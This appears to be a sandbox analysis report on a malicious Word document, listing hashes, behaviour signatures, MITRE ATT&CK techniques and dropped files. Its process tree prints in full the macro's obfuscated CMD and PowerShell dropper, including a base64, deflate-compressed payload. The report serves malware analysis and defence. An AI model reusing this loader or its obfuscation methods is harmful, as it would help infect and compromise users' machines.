e4847906283f4facfaa7e97f2304935851223b5bd5c3dc0eb70fcdbd92733efd

General

Target

3580c055bbb449173f35f8064cedff50_JaffaCakes118.doc
Size

69KB
MD5

3580c055bbb449173f35f8064cedff50
SHA1

619fa40bd75907abead5be40a4e5ff02c27ad4a2
SHA256

e4847906283f4facfaa7e97f2304935851223b5bd5c3dc0eb70fcdbd92733efd
SHA512

ae1372c15f8d3c1cacf912b38c539af9b15e145f385bce6f12918fac302a7c8da8d8c8607cb66c607eb5594202c2f7cbfe31b886f94766143ab27731fe172959
SSDEEP

768:2eWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o93nScF18J88:2eWocn1kp59gxBK85fBt+a9v2

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3348	3764	CMD.exe	80

Blocklisted process makes network request 5 IoCs

flow	pid	Process
13	1460	powershell.exe
19	1460	powershell.exe
23	1460	powershell.exe
27	1460	powershell.exe
28	1460	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3764	WINWORD.EXE
3764	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1460	powershell.exe
1460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1460	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3764	WINWORD.EXE
3764	WINWORD.EXE
3764	WINWORD.EXE
3764	WINWORD.EXE
3764	WINWORD.EXE
3764	WINWORD.EXE
3764	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3764 wrote to memory of 3348	3764	WINWORD.EXE	85
PID 3764 wrote to memory of 3348	3764	WINWORD.EXE	85
PID 3348 wrote to memory of 1460	3348	CMD.exe	88
PID 3348 wrote to memory of 1460	3348	CMD.exe	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3580c055bbb449173f35f8064cedff50_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\SYSTEM32\CMD.exe
  CMD C:\WIndOws\SYStem32\Cmd /c "sET qOuG= .( $SHEllId[1]+$ShelliD[13]+'X') ( neW-ObjECt sYStem.Io.StrEAmReaDER( ( neW-ObjECt IO.comPreSSION.DeflatestReaM([io.meMOrYstReam] [SYstEM.converT]::FRomBase64STrInG( 'PdBRa8IwEMDxr5KHQJSuKe5hD4aC0+FwsDEmug32co3nUm2TmqStVvrdrWXu9f7HD+6osk2ssQ5NskPpyRt6/onJLEtRe0FXz6uYKe+LcRTVdc0dmlGOx1QaLk0eje6rj9nkryflBgp0PszBuQYax1UZvc6/bh0yVToHqZYK7K+CXthN19Pl9z9hT6DrzkDb18MteMhBh6ChAG7LyK4ZXxZZ6gdswoaCNtsDiQl7GDFB31/mMUVdjT3mRcB+WHDNAeN4RCa2xiJINaAqfySpJtcLh2dvT2fafYI/mVpnBjbzNMN+545cwaFY6MrsMVx0aD8RSefsRSvBS3Vu2ws='), [Io.COmPRESSIOn.COmPRessIoNmODE]::dECOMPRESs ) ), [text.EncodINg]::aSCii) ).rEaDTOend()&& POWERShELl ^&('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERShELl &('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\61.exe

Filesize
1KB

MD5
5e93f31c98edbddf0d54ce8146f04418

SHA1
bcf58e84e11690a2de99d70860e8f59d07245b16

SHA256
59ee6e54a132c06d36bd86fffa9e399229551d23c978aefb5853755df7fc4a3a

SHA512
4e62299b39a45121bd14c3e2efe05903f9a2eddd0f8d747e9712f50c1d7e33c7b34242ef2f912c52301dae3ec4eb1ee042e8990f3a43bbd40ff3eaeae1ad32e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\61.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD9853.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stni4zfs.ho1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1460-40-0x00000144BF3F0000-0x00000144BF412000-memory.dmp

Filesize
136KB

Download
memory/3764-34-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-2-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-7-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-9-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-8-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-13-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-12-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-11-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-14-0x00007FF8C9E60000-0x00007FF8C9E70000-memory.dmp

Filesize
64KB

Download
memory/3764-10-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-15-0x00007FF8C9E60000-0x00007FF8C9E70000-memory.dmp

Filesize
64KB

Download
memory/3764-32-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-31-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-1-0x00007FF90C06D000-0x00007FF90C06E000-memory.dmp

Filesize
4KB

Download
memory/3764-33-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-5-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-4-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-6-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-3-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-72-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-0-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-497-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-496-0x00007FF90C06D000-0x00007FF90C06E000-memory.dmp

Filesize
4KB

Download
memory/3764-552-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-553-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-554-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-555-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-556-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download
memory/3764-574-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-575-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-577-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-576-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

Filesize
64KB

Download
memory/3764-578-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads